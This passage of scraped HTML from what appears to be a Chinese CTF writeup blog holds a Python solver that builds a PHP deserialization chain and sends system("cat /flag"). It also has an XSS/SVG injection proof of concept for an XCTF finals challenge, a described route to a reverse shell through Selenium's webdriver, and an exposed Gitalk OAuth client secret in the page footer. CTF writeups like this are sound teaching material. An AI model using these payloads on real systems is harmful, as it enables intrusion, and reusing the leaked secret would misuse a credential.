class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.node.nodes:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(ctx_param, n):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e FunctionCall:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == \u003cspan class=\"string\"\u003e\u0026#39;method_exists\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func = node.expr.params[\u003cspan class=\"number\"\u003e1\u003c/span\u003e].node\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e(\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(func) == \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[func]],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e node.expr.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].node.name, func)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;unexpected call\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;unexpected expr\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_method\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx, method\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ctx.param = method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e method.nodes:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e For:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e i.node.nodes:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], n):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e If:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e handle_if(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e MethodCall:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[i.name]], i.node.name, i.name)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Eval:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esearch\u003c/span\u003e(\u003cspan class=\"params\"\u003enode, attr, method, path=[]\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e path.append((node, attr, method))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.nodes:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e i.name == method:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ctx = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), {})()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e handle_method(ctx, i):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e good_paths.append(\u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(path))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e path.pop()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esearch(classes[\u003cspan class=\"string\"\u003e\u0026#39;dLEWX3\u0026#39;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;L8IHXt\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(good_paths))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n, a, m \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(n.name, a, m)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eprop_call\u003c/span\u003e(\u003cspan class=\"params\"\u003eparent, attr, cls\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esetattr\u003c/span\u003e(parent, attr, \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(cls, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), {})())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003egetattr\u003c/span\u003e(parent, attr)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eroot = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;dLEWX3\u0026#39;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), {})()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enode = root\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epath = good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(path)):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e node = prop_call(node, path[i][\u003cspan class=\"number\"\u003e1\u003c/span\u003e], path[i][\u003cspan class=\"number\"\u003e0\u003c/span\u003e].name)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(root))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#39;http://my_instance.cloudeci1.ichunqiu.com/\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;pop\u0026#39;\u003c/span\u003e: serialize(root),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;argv\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;system(\u0026#34;cat /flag\u0026#34;); //\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题需要解析php源码的ast,并且进行搜索,去掉不可用的假链,找到唯一的一条真链。\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e CTFHUB framework \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cimg src=\"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/yii.jpg\" class=\"\"/\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题是一道比较常规的框架反序列化,payload需要base64_encode后发送\u003c/p\u003e\u003cp\u003eWIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/"},{"title":"第六届XCTF决赛部分Writeup","time":"2021-05-29T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Prologue\"\u003ePrologue\u003c/h2\u003e\u003cp\u003e这应该是我个人最近最后一场比赛了,整体而言挺开心的,还和诸葛老师合了影(\u003c/p\u003e\u003ch2 id=\"dngs2010\"\u003edngs2010\u003c/h2\u003e\u003cp\u003e由于源码里摆明了让我们去选svg,那我们就去选svg。\u003cbr/\u003e在返回的页面中,我们能看到我们输入的内容被这样拼接进了html:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;10\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;10\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;http://q1.qlogo.cn/g?b=qq\u0026amp;nk={input}\u0026amp;s=640\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e继续浏览题目,发现选择二进制格式进行生成时除了像素低一点别的都一样,联想到题目中的selenium,不难猜到后段是用chrome渲染svg然后截图。多试几次就能发现,我们的输入位于 \u003ccode\u003e/img/\u003c/code\u003e 后的url中,程序取最后一个 \u003ccode\u003e.\u003c/code\u003e 前的内容作为输入,之后的内容作为生成方式。\u003cbr/\u003e自然而言,我们就是要打这个selenium了,不管怎么样先得xss,自然而言就得闭合标签。然而这里基本什么过滤都没有,非常舒适。\u003c/p\u003e\u003cp\u003eproof of concept:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#39;http://172.35.6.36:3000/img/745679136\u0026#34; style=\u0026#34;height:0\u0026#34;\u0026gt;\u0026#39;\u003c/span\u003e+quote(\u003cspan class=\"string\"\u003ef\u0026#39;\u0026#39;\u0026#39;\u0026lt;/image\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;script\u0026gt;console.log(1)\u0026lt;/script\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;image\u0026gt;\u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e, safe=\u003cspan class=\"string\"\u003e\u0026#39; \u0026lt;\u0026gt;\u0026#39;\u003c/span\u003e)+\u003cspan class=\"string\"\u003e\u0026#39;.svg\u0026#39;\u003c/span\u003e).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eresult:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; standalone=\u0026#34;no\u0026#34;?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003esvg\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;480px\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;120px\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003efill\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;#71e8f6\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003exmlns\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;10\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;10\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;height:0\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"javascript\"\u003e\u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"symbol\"\u003e\u0026amp;amp;\u003c/span\u003es=640\u0026#34;\u0026gt;\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etext\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;120\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;25\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e晚上好,来自美国(T-Mobile)的朋友\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etext\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003esvg\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里有两个小细节:\u003c/p\u003e\u003cul\u003e\u003cli\u003exml规定一份文档只能有一个根结点,也就是说我们\u003cstrong\u003e不能\u003c/strong\u003e闭合svg标签。如果闭合了svg标签,html会报错导致截图不全,且svg闭合后的内容不会被渲染。\u003c/li\u003e\u003cli\u003e由于页面没有指定 \u003ccode\u003eDOCTYPE HTML\u003c/code\u003e ,我们的script标签中不能出现小于号大于号,不然会被识别成xml标签。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e第一个问题注意即可,第二个问题我们可以通过 \u003ccode\u003eeval(btoa(代码))\u003c/code\u003e 的方式进行规避。\u003cbr/\u003e之后的流程参考https://paper.seebug.org/1559/,扫描端口,并向webdriver发起请求,创建新的进程,反弹shell即可。文中涉及到跨域访问仅允许localhost客户端访问webdriver的问题在本题中也不存在,因为发起请求的正是localhost。\u003cbr/\u003e这道题整体而言对于这样的比赛来说没有难度,但是坑比较多,比如端口量较大,往往扫不到webdriver控制端口,再比如每次请求都启动了新的chromedriver进程,导致端口不一样,所以扫描把人扫得非常沮丧。\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 我所使用的js部分exploit \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan 